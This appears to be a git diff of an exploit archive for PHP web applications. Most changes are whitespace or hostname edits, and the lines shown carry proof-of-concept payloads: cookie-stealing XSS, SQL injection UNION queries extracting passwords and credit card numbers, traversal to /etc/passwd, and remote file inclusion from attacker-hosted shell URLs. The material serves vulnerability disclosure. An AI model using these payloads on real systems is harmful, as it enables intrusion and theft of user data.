a/platforms/php/webapps/2551.txt b/platforms/php/webapps/2551.txt index adf87ce57..c1907836e 100755 --- a/platforms/php/webapps/2551.txt +++ b/platforms/php/webapps/2551.txt @@ -1,4 +1,4 @@ -..%%%%....%%%%...%%..%%...........%%%%...%%%%%...%%%%%%..%%...%%. + ..%%%%....%%%%...%%..%%...........%%%%...%%%%%...%%%%%%..%%...%%. .%%......%%..%%..%%..%%..........%%..%%..%%..%%..%%......%%...%%. ..%%%%...%%..%%..%%%%%%..%%%%%%..%%......%%%%%...%%%%....%%.%.%%. .....%%..%%..%%..%%..%%..........%%..%%..%%..%%..%%......%%%%%%%. diff --git a/platforms/php/webapps/25523.txt b/platforms/php/webapps/25523.txt index f5d2b83c8..bce8056ef 100755 --- a/platforms/php/webapps/25523.txt +++ b/platforms/php/webapps/25523.txt @@ -4,4 +4,4 @@ phpBB is prone to a cross-site scripting vulnerability. This issue is due to a f An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. -http://www.example.com/phpBB2/profile.php?mode=viewprofile&u=\[]\ \ No newline at end of file +http://www.example.com/phpBB2/profile.php?mode=viewprofile&u=\[]\ \ No newline at end of file diff --git a/platforms/php/webapps/25524.txt b/platforms/php/webapps/25524.txt index 69addbc9d..257f6cf07 100755 --- a/platforms/php/webapps/25524.txt +++ b/platforms/php/webapps/25524.txt @@ -4,4 +4,4 @@ phpBB is prone to a cross-site scripting vulnerability. This issue is due to a f An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. -http://www.example.com/phpBB2/viewtopic.php?p=3&highlight=\[]\ \ No newline at end of file +http://www.example.com/phpBB2/viewtopic.php?p=3&highlight=\[]\ \ No newline at end of file diff --git a/platforms/php/webapps/25528.txt b/platforms/php/webapps/25528.txt index 83f58a607..e66126551 100755 --- a/platforms/php/webapps/25528.txt +++ b/platforms/php/webapps/25528.txt @@ -4,4 +4,4 @@ WoltLab Burning Board is prone to a cross-site scripting vulnerability. This iss An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. -http://www.example.com/pms.php?folderid=[XSS] \ No newline at end of file +http://www.example.com/pms.php?folderid=[XSS] \ No newline at end of file diff --git a/platforms/php/webapps/2553.txt b/platforms/php/webapps/2553.txt index 204c95584..949fac3cd 100755 --- a/platforms/php/webapps/2553.txt +++ b/platforms/php/webapps/2553.txt @@ -22,6 +22,6 @@ VULN: content/portalshow.php include_once "$sourcedir/Calendar.php"; -[EXAMPLE] http://server/community/Offline.php?sourcedir=http://shellurl.com/phpcommands.txt? +[EXAMPLE] http://site.com/community/Offline.php?sourcedir=http://shellurl.com/phpcommands.txt? # milw0rm.com [2006-10-13] diff --git a/platforms/php/webapps/25531.html b/platforms/php/webapps/25531.html index d287e5e41..844ee1bae 100755 --- a/platforms/php/webapps/25531.html +++ b/platforms/php/webapps/25531.html @@ -9,4 +9,4 @@ The issue is known to affect phpMyVisites 1.3. Other versions may also be affect <form action="http://[pathtoyourphpMyVisites]/login.php" method="POST"> Local file: <input type="text" name="mylang" value="" /> <input type="submit" value="Alexx says RELAX!"> -</form> \ No newline at end of file +</form> \ No newline at end of file diff --git a/platforms/php/webapps/25533.txt b/platforms/php/webapps/25533.txt index a6164cd4b..f9020648c 100755 --- a/platforms/php/webapps/25533.txt +++ b/platforms/php/webapps/25533.txt @@ -6,4 +6,4 @@ The vendor has not published any specific details about this vulnerability other http://www.example.com/admin_modules/admin_module_info.inc.php?lang_akt[admin_ainfo_hmain]=[XSS] http://www.example.com/src/index_footer-copyright.inc.php?config[release]=[XSS] -http://www.example.com/src/index_thumbs.inc.php?page[thumb_table_width]=[XSS] \ No newline at end of file +http://www.example.com/src/index_thumbs.inc.php?page[thumb_table_width]=[XSS] \ No newline at end of file diff --git a/platforms/php/webapps/25534.txt b/platforms/php/webapps/25534.txt index 7d5dafdf0..9565845c7 100755 --- a/platforms/php/webapps/25534.txt +++ b/platforms/php/webapps/25534.txt @@ -4,4 +4,4 @@ SQWebmail is prone to a HTTP response splitting vulnerability. This issue is due A remote attacker may exploit this vulnerability to influence or misrepresent how Web content is served, cached or interpreted. This could aid in various attacks that attempt to entice client users into a false sense of trust. -sqwebmail?redirect=%0d%0a%0d%0a[INJECT SCRIPT] \ No newline at end of file +sqwebmail?redirect=%0d%0a%0d%0a[INJECT SCRIPT] \ No newline at end of file diff --git a/platforms/php/webapps/25535.txt b/platforms/php/webapps/25535.txt index e9f431835..2d6856af2 100755 --- a/platforms/php/webapps/25535.txt +++ b/platforms/php/webapps/25535.txt @@ -6,4 +6,4 @@ Successful exploitation could result in a compromise of the application, disclos This issue reportedly affects Invision Power Board version 2.0.1; other versions may also be vulnerable. -http://www.example.com/forum/index.php?act=PostCODE=02f=4t=3qpid='[SQL] \ No newline at end of file +http://www.example.com/forum/index.php?act=PostCODE=02f=4t=3qpid='[SQL] \ No newline at end of file diff --git a/platforms/php/webapps/25538.txt b/platforms/php/webapps/25538.txt index 124b5241c..ee4820995 100755 --- a/platforms/php/webapps/25538.txt +++ b/platforms/php/webapps/25538.txt @@ -4,4 +4,4 @@ GrayCMS is prone to a remote file include vulnerability. This issue is due to a An attacker may leverage this issue to execute arbitrary server-side script code on an affected computer with the privileges of the Web server process. This may facilitate unauthorized access. -http://www.example.com/CMS/gcms/code/error.php?path_prefix=http://www.example.com/ \ No newline at end of file +http://www.example.com/CMS/gcms/code/error.php?path_prefix=http://www.example.com/ \ No newline at end of file diff --git a/platforms/php/webapps/25545.txt b/platforms/php/webapps/25545.txt index f2af52116..bb1e60474 100755 --- a/platforms/php/webapps/25545.txt +++ b/platforms/php/webapps/25545.txt @@ -4,4 +4,4 @@ bBlog is prone to an SQL injection vulnerability. This issue is due to a failure Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. -http://www.example.com/[blogpath]/?postid=1%20or%201=1 \ No newline at end of file +http://www.example.com/[blogpath]/?postid=1%20or%201=1 \ No newline at end of file diff --git a/platforms/php/webapps/25548.txt b/platforms/php/webapps/25548.txt index 26bf6fc83..504ffc716 100755 --- a/platforms/php/webapps/25548.txt +++ b/platforms/php/webapps/25548.txt @@ -4,4 +4,4 @@ PHPCart is prone to a remote input validation vulnerability. The issue exists be A remote attacker may exploit this issue to manipulate invoice and payment charges for a specific PHPCart order. -http://www.example.com/phpcart.php?action=add&id=1002&descr=Mobile%20Phone&price=0&postage=&quantity=100 \ No newline at end of file +http://www.example.com/phpcart.php?action=add&id=1002&descr=Mobile%20Phone&price=0&postage=&quantity=100 \ No newline at end of file diff --git a/platforms/php/webapps/2555.txt b/platforms/php/webapps/2555.txt index 51b713868..6366ed9a6 100755 --- a/platforms/php/webapps/2555.txt +++ b/platforms/php/webapps/2555.txt @@ -21,7 +21,7 @@ Exploit: Variable $absolute_path not sanitized.When register_globals=on an attacker ca n exploit this vulnerability with a simple php injection script. -# http://www.server/[path]/centipaid_class.php?absolute_path=[Evil_Script] +# http://www.site.com/[path]/centipaid_class.php?absolute_path=[Evil_Script] --------------------------------------------------------------------------- Shoutz: diff --git a/platforms/php/webapps/25553.txt b/platforms/php/webapps/25553.txt index d039b137d..39d4c69b5 100755 --- a/platforms/php/webapps/25553.txt +++ b/platforms/php/webapps/25553.txt @@ -8,4 +8,4 @@ An attacker may exploit these issues to manipulate SQL queries to the underlying **Update: Dokeos, which is based on claroline source code, is also prone to come of these issues. -http:///www.example.com/claroline/tracking/exercises_details.php?exo_id=-1/**/UNION/**/SELECT%200,password,username,0,0,0%20from%20user%20where%20user_id=1-- \ No newline at end of file +http:///www.example.com/claroline/tracking/exercises_details.php?exo_id=-1/**/UNION/**/SELECT%200,password,username,0,0,0%20from%20user%20where%20user_id=1-- \ No newline at end of file diff --git a/platforms/php/webapps/25555.txt b/platforms/php/webapps/25555.txt index 638a51af5..a877908ca 100755 --- a/platforms/php/webapps/25555.txt +++ b/platforms/php/webapps/25555.txt @@ -5,4 +5,4 @@ Koobi CMS is prone to an SQL injection vulnerability. This issue is due to a fai Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. http://www.example.com/index.php?p='[SQL code] -http://www.example.com/index.php?area=1&p='[SQL code] \ No newline at end of file +http://www.example.com/index.php?area=1&p='[SQL code] \ No newline at end of file diff --git a/platforms/php/webapps/25556.txt b/platforms/php/webapps/25556.txt index 75dd655fa..ddc8d9b79 100755 --- a/platforms/php/webapps/25556.txt +++ b/platforms/php/webapps/25556.txt @@ -4,4 +4,4 @@ Koobi CMS is prone to an SQL injection vulnerability. This issue is due to a fai Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. -http://www.example.com/index.php?q='[SQL code] \ No newline at end of file +http://www.example.com/index.php?q='[SQL code] \ No newline at end of file diff --git a/platforms/php/webapps/25558.txt b/platforms/php/webapps/25558.txt index 22d3dfab7..8f57feae1 100755 --- a/platforms/php/webapps/25558.txt +++ b/platforms/php/webapps/25558.txt @@ -4,4 +4,4 @@ The notes module for phpBB is prone to an SQL injection vulnerability. This issu Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. -http://www.example.com/posting_notes.php?mode=editpost&p=-99%20UNION%20SELECT%200,0,username,0,0,0,0,0,0%20FROM%20orionphpbb_users%20WHERE%20user_id=2/* \ No newline at end of file +http://www.example.com/posting_notes.php?mode=editpost&p=-99%20UNION%20SELECT%200,0,username,0,0,0,0,0,0%20FROM%20orionphpbb_users%20WHERE%20user_id=2/* \ No newline at end of file diff --git a/platforms/php/webapps/25564.txt b/platforms/php/webapps/25564.txt index 04f0dbabc..fe5b47c15 100755 --- a/platforms/php/webapps/25564.txt +++ b/platforms/php/webapps/25564.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to have arbitrary script code executed in th This issue reportedly affects Amazon Webstore version 04050100; other versions may also be vulnerable. -http://www.example.com/index.php?currentIsExpanded=0%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E&currentNumber=8 \ No newline at end of file +http://www.example.com/index.php?currentIsExpanded=0%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E&currentNumber=8 \ No newline at end of file diff --git a/platforms/php/webapps/25565.txt b/platforms/php/webapps/25565.txt index 96a0f08c9..69d615c12 100755 --- a/platforms/php/webapps/25565.txt +++ b/platforms/php/webapps/25565.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to have arbitrary script code executed in th This issue reportedly affects Amazon Webstore version 04050100; other versions may also be vulnerable. -http://www.example.com/index.php?function=search&searchFor=%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E \ No newline at end of file +http://www.example.com/index.php?function=search&searchFor=%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E \ No newline at end of file diff --git a/platforms/php/webapps/25566.txt b/platforms/php/webapps/25566.txt index 59208f84f..c4d035d92 100755 --- a/platforms/php/webapps/25566.txt +++ b/platforms/php/webapps/25566.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to have arbitrary script code executed in th This issue reportedly affects Amazon Webstore version 04050100; other versions may also be vulnerable. -http://www.example.com/uk/list/c/software_CAD_Technical_60002_uk.htm?currentNumber=4.3%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E&currentIsExpanded=0 \ No newline at end of file +http://www.example.com/uk/list/c/software_CAD_Technical_60002_uk.htm?currentNumber=4.3%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E&currentIsExpanded=0 \ No newline at end of file diff --git a/platforms/php/webapps/25567.txt b/platforms/php/webapps/25567.txt index 0ab1c24aa..bb30f278e 100755 --- a/platforms/php/webapps/25567.txt +++ b/platforms/php/webapps/25567.txt @@ -6,4 +6,4 @@ A remote attacker may exploit this vulnerability to influence or misrepresent ho This issue reportedly affects Amazon Webstore version 04050100; other versions may also be vulnerable. -http://www.example.com/store/uk/product/">%0d%0aSet-Cookie:%20HTTP_response_splitting%3dYES%0d%0aFoo:%20bar.htm \ No newline at end of file +http://www.example.com/store/uk/product/">%0d%0aSet-Cookie:%20HTTP_response_splitting%3dYES%0d%0aFoo:%20bar.htm \ No newline at end of file diff --git a/platforms/php/webapps/25569.txt b/platforms/php/webapps/25569.txt index c2140e8f7..010fd75ec 100755 --- a/platforms/php/webapps/25569.txt +++ b/platforms/php/webapps/25569.txt @@ -5,4 +5,4 @@ PHPCoin is reportedly affected by multiple SQL injection vulnerabilities. These Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. http://www.example.com/mod.php?mod=pages&mode=list&dtopic_id=SQL_INJECTION'&phpcoinsessid=fa7905a749dbdc698838930de0f99f4b -http://www.example.com/mod.php?mod=pages&mode=list&dcat_id=SQL_INJECTION'&phpcoinsessid=fa7905a749dbdc698838930de0f99f4b \ No newline at end of file +http://www.example.com/mod.php?mod=pages&mode=list&dcat_id=SQL_INJECTION'&phpcoinsessid=fa7905a749dbdc698838930de0f99f4b \ No newline at end of file diff --git a/platforms/php/webapps/2557.txt b/platforms/php/webapps/2557.txt index 9caf7923d..683f3d954 100755 --- a/platforms/php/webapps/2557.txt +++ b/platforms/php/webapps/2557.txt @@ -55,7 +55,7 @@ +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Exploit: -http://www.server/[incCMS_path]/inc/settings.php?inc_dir=[evil_script] +http://www.site.com/[incCMS_path]/inc/settings.php?inc_dir=[evil_script] DEVIL TEAM IRC: 72.20.18.6:6667 #devilteam diff --git a/platforms/php/webapps/25570.txt b/platforms/php/webapps/25570.txt index 0525ab5fb..78fca1ead 100755 --- a/platforms/php/webapps/25570.txt +++ b/platforms/php/webapps/25570.txt @@ -4,4 +4,4 @@ JGS-Portal is prone to an SQL injection. This issue may potentially be exploited The consequences of exploitation will depend on the nature of the vulnerable SQL query and the capabilities of the underlying database implementation. -http://www.example.com/jgs_portal.php?id='SQL_here \ No newline at end of file +http://www.example.com/jgs_portal.php?id='SQL_here \ No newline at end of file diff --git a/platforms/php/webapps/2558.txt b/platforms/php/webapps/2558.txt index a7554cb5f..4e78cc6bb 100755 --- a/platforms/php/webapps/2558.txt +++ b/platforms/php/webapps/2558.txt @@ -14,6 +14,6 @@ # Vulnerable : - http://www.server/[path]/extras/mt.php?web_root=[shell] + http://www.site.com/[path]/extras/mt.php?web_root=[shell] # milw0rm.com [2006-10-14] diff --git a/platforms/php/webapps/25580.txt b/platforms/php/webapps/25580.txt index 2b6898e4c..a82c1c50c 100755 --- a/platforms/php/webapps/25580.txt +++ b/platforms/php/webapps/25580.txt @@ -7,4 +7,4 @@ Attacker-supplied HTML and script code would be able to access properties of the These issues are reported to affect ViArt Shop Enterprise version 2.1.6; other versions may also be vulnerable. http://www.example.com/news_view.php?news_id=3&rp=news.php[XSS-CODE]&page=1 -http://www.example.com/news_view.php?news_id=3&rp=news.php&page=1[XSS-CODE] \ No newline at end of file +http://www.example.com/news_view.php?news_id=3&rp=news.php&page=1[XSS-CODE] \ No newline at end of file diff --git a/platforms/php/webapps/2559.txt b/platforms/php/webapps/2559.txt index a965d10f1..230dd450a 100755 --- a/platforms/php/webapps/2559.txt +++ b/platforms/php/webapps/2559.txt @@ -21,7 +21,7 @@ Exploit: Variable $path not sanitized.When register_globals=on an attacker ca n exploit this vulnerability with a simple php injection script. -# http://www.server/[path]/forum/track.php?path=[Evil_Script] +# http://www.site.com/[path]/forum/track.php?path=[Evil_Script] --------------------------------------------------------------------------- Shoutz: diff --git a/platforms/php/webapps/25590.txt b/platforms/php/webapps/25590.txt index db99774e6..60cd92870 100755 --- a/platforms/php/webapps/25590.txt +++ b/platforms/php/webapps/25590.txt @@ -24,4 +24,4 @@ http://www.example.com/view.php?s=advanced&query=&cat=-99%20UNION%20SELECT%20313 http://www.example.com/include/main.php?config[search_disp]=true&include_dir=http://www.example.com -http://www.example.com/attachments.php?file=../../../../../../.. /etc/passwd \ No newline at end of file +http://www.example.com/attachments.php?file=../../../../../../.. /etc/passwd \ No newline at end of file diff --git a/platforms/php/webapps/25591.txt b/platforms/php/webapps/25591.txt index 91b695762..3cc2b0d10 100755 --- a/platforms/php/webapps/25591.txt +++ b/platforms/php/webapps/25591.txt @@ -23,4 +23,4 @@ Directory traversal proof of concept: http://www.example.com/users/index.php?lang=en.inc/../../../../../../etc/passwd%00 File include proof of concept: -http://www.example.com/users/main.php?p=http://www.example.com \ No newline at end of file +http://www.example.com/users/main.php?p=http://www.example.com \ No newline at end of file diff --git a/platforms/php/webapps/25593.txt b/platforms/php/webapps/25593.txt index 16e3dcfc3..aa767351e 100755 --- a/platforms/php/webapps/25593.txt +++ b/platforms/php/webapps/25593.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to have arbitrary script code executed in th It is reported this issue may only be exploitable through Microsoft Internet Explorer; this has not been confirmed. -http://www.example.com/index.php?act='><script>alert(document.cookie)</script> \ No newline at end of file +http://www.example.com/index.php?act='><script>alert(document.cookie)</script> \ No newline at end of file diff --git a/platforms/php/webapps/25599.txt b/platforms/php/webapps/25599.txt index ebff965c8..90c10877f 100755 --- a/platforms/php/webapps/25599.txt +++ b/platforms/php/webapps/25599.txt @@ -22,4 +22,4 @@ e=&LastName=&Email='"><script>alert(document.cookie)</script>&Biography=dcrab&Pi http://www.example.com/authors/register/do?PHPSESSID=0fc0faa9965a8214874d4731c2f3e592&Username=&Password=dcrab&PasswordConfirm=dcrab&FirstNam e=&LastName=&Email=&Biography=%3C/textarea%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E&Picture=dcrab -http://www.example.com/blogs/newcomment/?BlogId='"><script>alert(document.cookie)</script> \ No newline at end of file +http://www.example.com/blogs/newcomment/?BlogId='"><script>alert(document.cookie)</script> \ No newline at end of file diff --git a/platforms/php/webapps/2560.txt b/platforms/php/webapps/2560.txt index 1db2bdfbb..3c43e08b8 100755 --- a/platforms/php/webapps/2560.txt +++ b/platforms/php/webapps/2560.txt @@ -20,7 +20,7 @@ Exploit: Variable $g_documentRoot not sanitized.When register_globals=on an attacker ca n exploit this vulnerability with a simple php injection script. -# http://www.server/[path]/implementation/management/priv/bugreporter/thankyou.php?g_documentRoot=[Evil_Script] +# http://www.site.com/[path]/implementation/management/priv/bugreporter/thankyou.php?g_documentRoot=[Evil_Script] --------------------------------------------------------------------------- Shoutz: diff --git a/platforms/php/webapps/25601.txt b/platforms/php/webapps/25601.txt index 1f54cc276..8c8ab078a 100755 --- a/platforms/php/webapps/25601.txt +++ b/platforms/php/webapps/25601.txt @@ -6,4 +6,4 @@ A successful exploit of the SQL-injection issues could allow an attacker to comp An attacker may leverage the cross-site scripting issues to execute arbitrary script code in the browser of an unsuspecting user. This may help the attacker steal cookie-based authentication credentials and launch other attacks. -http://www.example.com/demo31/display.php?cartid=200505024231092&zid=1&lid=1&nlst='"><script>alert(document.cookie)</script>&olimit=0&cat=&key1=&psku= \ No newline at end of file +http://www.example.com/demo31/display.php?cartid=200505024231092&zid=1&lid=1&nlst='"><script>alert(document.cookie)</script>&olimit=0&cat=&key1=&psku= \ No newline at end of file diff --git a/platforms/php/webapps/25602.txt b/platforms/php/webapps/25602.txt index b5c18005f..e7eb59a55 100755 --- a/platforms/php/webapps/25602.txt +++ b/platforms/php/webapps/25602.txt @@ -8,4 +8,4 @@ An attacker may leverage the cross-site scripting issues to execute arbitrary sc http://www.example.com/demo31/upstracking.php?trackingnum='"><script>alert(document.cookie)</script>&reqagree=checked&m= http://www.example.com/demo31/upstracking.php?trackingnum=&reqagree='"><script>alert(document.cookie)</script>&m= -http://www.example.com/demo31/upstracking.php?trackingnum=&reqagree=checked&m='"><script>alert(document.cookie)</script> \ No newline at end of file +http://www.example.com/demo31/upstracking.php?trackingnum=&reqagree=checked&m='"><script>alert(document.cookie)</script> \ No newline at end of file diff --git a/platforms/php/webapps/25603.txt b/platforms/php/webapps/25603.txt index 2441d86bd..f69dee8aa 100755 --- a/platforms/php/webapps/25603.txt +++ b/platforms/php/webapps/25603.txt @@ -6,4 +6,4 @@ A successful exploit of the SQL-injection issues could allow an attacker to comp An attacker may leverage the cross-site scripting issues to execute arbitrary script code in the browser of an unsuspecting user. This may help the attacker steal cookie-based authentication credentials and launch other attacks. -http://www.example.com/demo31/display.php?cartid=200505024231092&zid=1&lid=1&nlst=y&olimit=0&cat=&key1=&psku='SQL_INJECTION \ No newline at end of file +http://www.example.com/demo31/display.php?cartid=200505024231092&zid=1&lid=1&nlst=y&olimit=0&cat=&key1=&psku='SQL_INJECTION \ No newline at end of file diff --git a/platforms/php/webapps/25605.txt b/platforms/php/webapps/25605.txt index 3f32dbc3d..26369cf93 100755 --- a/platforms/php/webapps/25605.txt +++ b/platforms/php/webapps/25605.txt @@ -28,4 +28,4 @@ # # Amirh03in # -############## \ No newline at end of file +############## \ No newline at end of file diff --git a/platforms/php/webapps/2561.txt b/platforms/php/webapps/2561.txt index 015748494..22e58c810 100755 --- a/platforms/php/webapps/2561.txt +++ b/platforms/php/webapps/2561.txt @@ -21,7 +21,7 @@ Exploit: Variable $DEFAULT_SKIN not sanitized.When register_globals=on an attacker ca n exploit this vulnerability with a simple php injection script. -# http://www.server/[path]/process.php?DEFAULT_SKIN=[Evil_Script] +# http://www.site.com/[path]/process.php?DEFAULT_SKIN=[Evil_Script] --------------------------------------------------------------------------- Shoutz: diff --git a/platforms/php/webapps/25614.txt b/platforms/php/webapps/25614.txt index d0f270e21..90ba28328 100755 --- a/platforms/php/webapps/25614.txt +++ b/platforms/php/webapps/25614.txt @@ -4,4 +4,4 @@ MidiCart PHP is prone to an SQL injection vulnerability. This issue is due to a Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. -http://www.example.com/shop/search_list.php?chose=item&searchstring=a%' UNION SELECT null, null, CreditCard, ExpDate, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null FROM card_payment \ No newline at end of file +http://www.example.com/shop/search_list.php?chose=item&searchstring=a%' UNION SELECT null, null, CreditCard, ExpDate, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null FROM card_payment \ No newline at end of file diff --git a/platforms/php/webapps/25615.txt b/platforms/php/webapps/25615.txt index d8bb61a00..44f342ae0 100755 --- a/platforms/php/webapps/25615.txt +++ b/platforms/php/webapps/25615.txt @@ -8,4 +8,4 @@ This issue is reported to affect both the PHP and ASP versions of MidiCart Shopp http://www.example.com/shop/item_list.php?maingroup=-99 'UNION SELECT null, null, CreditCard, ExpDate,null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null FROM card_payment -http://www.example.com/path/item_list.asp?maingroup=[SQL INJECTION] \ No newline at end of file +http://www.example.com/path/item_list.asp?maingroup=[SQL INJECTION] \ No newline at end of file diff --git a/platforms/php/webapps/25616.txt b/platforms/php/webapps/25616.txt index 4a23f3877..0fc485b4f 100755 --- a/platforms/php/webapps/25616.txt +++ b/platforms/php/webapps/25616.txt @@ -8,4 +8,4 @@ This issue is reported to affect both the PHP and ASP versions of MidiCart Shopp http://www.example.com/shop/item_list.php?secondgroup=-99 'UNION SELECT null, null, creditCard, ExpDate,null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null FROM card_payment -http://www.example.com/path/item_list.asp?maingroup=Something&secondgroup=[SQL INJECTION] \ No newline at end of file +http://www.example.com/path/item_list.asp?maingroup=Something&secondgroup=[SQL INJECTION] \ No newline at end of file diff --git a/platforms/php/webapps/25617.txt b/platforms/php/webapps/25617.txt index 6e79301ff..27542ba45 100755 --- a/platforms/php/webapps/25617.txt +++ b/platforms/php/webapps/25617.txt @@ -4,4 +4,4 @@ MidiCart PHP is prone to an SQL injection vulnerability. This issue is due to a Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. -http://www.example.com/shop/item_show.php?code_no=99 ') UNION SELECT null, null, CreditCard, ExpDate,null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null FROM card_payment \ No newline at end of file +http://www.example.com/shop/item_show.php?code_no=99 ') UNION SELECT null, null, CreditCard, ExpDate,null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null FROM card_payment \ No newline at end of file diff --git a/platforms/php/webapps/25618.txt b/platforms/php/webapps/25618.txt index c986df7f5..996ba682e 100755 --- a/platforms/php/webapps/25618.txt +++ b/platforms/php/webapps/25618.txt @@ -4,4 +4,4 @@ MidiCart PHP is prone to a cross-site scripting vulnerability. This issue is due An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. -http://www.example.com/shop/search_list.php?chose=item&searchstring=%3Cscript%3Ealert('Lamed%20!');%3C/script%3E \ No newline at end of file +http://www.example.com/shop/search_list.php?chose=item&searchstring=%3Cscript%3Ealert('Lamed%20!');%3C/script%3E \ No newline at end of file diff --git a/platforms/php/webapps/25619.txt b/platforms/php/webapps/25619.txt index e4c68ffd3..71f7ec62b 100755 --- a/platforms/php/webapps/25619.txt +++ b/platforms/php/webapps/25619.txt @@ -4,4 +4,4 @@ MidiCart PHP is prone to a cross-site scripting vulnerability. This issue is due An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. -http://www.example.com/shop/item_list.php?secondgroup=%3Cscript%3Ealert('Lamed%20!');%3C/script%3E \ No newline at end of file +http://www.example.com/shop/item_list.php?secondgroup=%3Cscript%3Ealert('Lamed%20!');%3C/script%3E \ No newline at end of file diff --git a/platforms/php/webapps/2562.txt b/platforms/php/webapps/2562.txt index 686de7f83..61215b1ec 100755 --- a/platforms/php/webapps/2562.txt +++ b/platforms/php/webapps/2562.txt @@ -21,7 +21,7 @@ Exploit: Variable $templatePath not sanitized.When register_globals=on an attacker ca n exploit this vulnerability with a simple php injection script. -# http://www.server/[path]/template/barnraiser_01/p_new_password.tpl.php?templatePath=[Evil_Script] +# http://www.site.com/[path]/template/barnraiser_01/p_new_password.tpl.php?templatePath=[Evil_Script] --------------------------------------------------------------------------- Shoutz: diff --git a/platforms/php/webapps/25620.txt b/platforms/php/webapps/25620.txt index db4f86a52..c5dfa9c77 100755 --- a/platforms/php/webapps/25620.txt +++ b/platforms/php/webapps/25620.txt @@ -4,4 +4,4 @@ MidiCart PHP is prone to a cross-site scripting vulnerability. This issue is due An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. -http://www.example.com/shop/item_list.php?maingroup=%3Cscript%3Ealert('Lamed%20!');%3C/script%3E \ No newline at end of file +http://www.example.com/shop/item_list.php?maingroup=%3Cscript%3Ealert('Lamed%20!');%3C/script%3E \ No newline at end of file diff --git a/platforms/php/webapps/25623.txt b/platforms/php/webapps/25623.txt index 3af49b1eb..d96d5489e 100755 --- a/platforms/php/webapps/25623.txt +++ b/platforms/php/webapps/25623.txt @@ -4,4 +4,4 @@ CJ Ultra Plus is prone to an SQL injection vulnerability. This issue affects the 'out.php' script and could permit remote attackers to pass malicious input to database queries, resulting in modification of query logic or other attacks. -/out.php?url=sad&perm=33333333333333333333333333332'%20UNION%20SELECT%20b12,b12%20FROM%20settings%20INTO%20OUTFILE%20'/path/to/ur/dir/x.txt/* \ No newline at end of file +/out.php?url=sad&perm=33333333333333333333333333332'%20UNION%20SELECT%20b12,b12%20FROM%20settings%20INTO%20OUTFILE%20'/path/to/ur/dir/x.txt/* \ No newline at end of file diff --git a/platforms/php/webapps/2563.pl b/platforms/php/webapps/2563.pl index af6417dc0..434da4b6a 100755 --- a/platforms/php/webapps/2563.pl +++ b/platforms/php/webapps/2563.pl @@ -75,8 +75,8 @@ header(); ######################################################################## Usage: perl q_xpl.pl <Target website> <Shell Location> <CMD Variable> <No> <r> -<Target Website> - Path to target eg: www.qvuln.server -<Shell Location> - Path to shell eg: www.badserver/s.txt +<Target Website> - Path to target eg: www.qvuln.target.com +<Shell Location> - Path to shell eg: www.badserver.com/s.txt <CMD Variable> - Shell command variable name eg: cmd <No> - File number, corresponding to: 1: quest_delete.php diff --git a/platforms/php/webapps/25630.txt b/platforms/php/webapps/25630.txt index a219d1ba2..008bf1519 100755 --- a/platforms/php/webapps/25630.txt +++ b/platforms/php/webapps/25630.txt @@ -7,4 +7,4 @@ A successful exploit could allow an attacker to compromise the application, acce This issue reportedly affects Advanced Guestbook version 2.3.1; other versions may also be vulnerable. http://www.example.com/guestbook/index.php?entry=' -http://www.example.com/guestbook/index.php?entry=%27 \ No newline at end of file +http://www.example.com/guestbook/index.php?entry=%27 \ No newline at end of file diff --git a/platforms/php/webapps/25635.txt b/platforms/php/webapps/25635.txt index a37d880c8..079335fb6 100755 --- a/platforms/php/webapps/25635.txt +++ b/platforms/php/webapps/25635.txt @@ -15,4 +15,4 @@ Will be filtered: '/**/UNION/**/SELECT/**/' Will be bypassed: -'/%2A%2A/UNION/%2A%2A/SELECT/%2A%2A/' \ No newline at end of file +'/%2A%2A/UNION/%2A%2A/SELECT/%2A%2A/' \ No newline at end of file diff --git a/platforms/php/webapps/25638.txt b/platforms/php/webapps/25638.txt index 99ac9203a..eeba06b90 100755 --- a/platforms/php/webapps/25638.txt +++ b/platforms/php/webapps/25638.txt @@ -8,4 +8,4 @@ 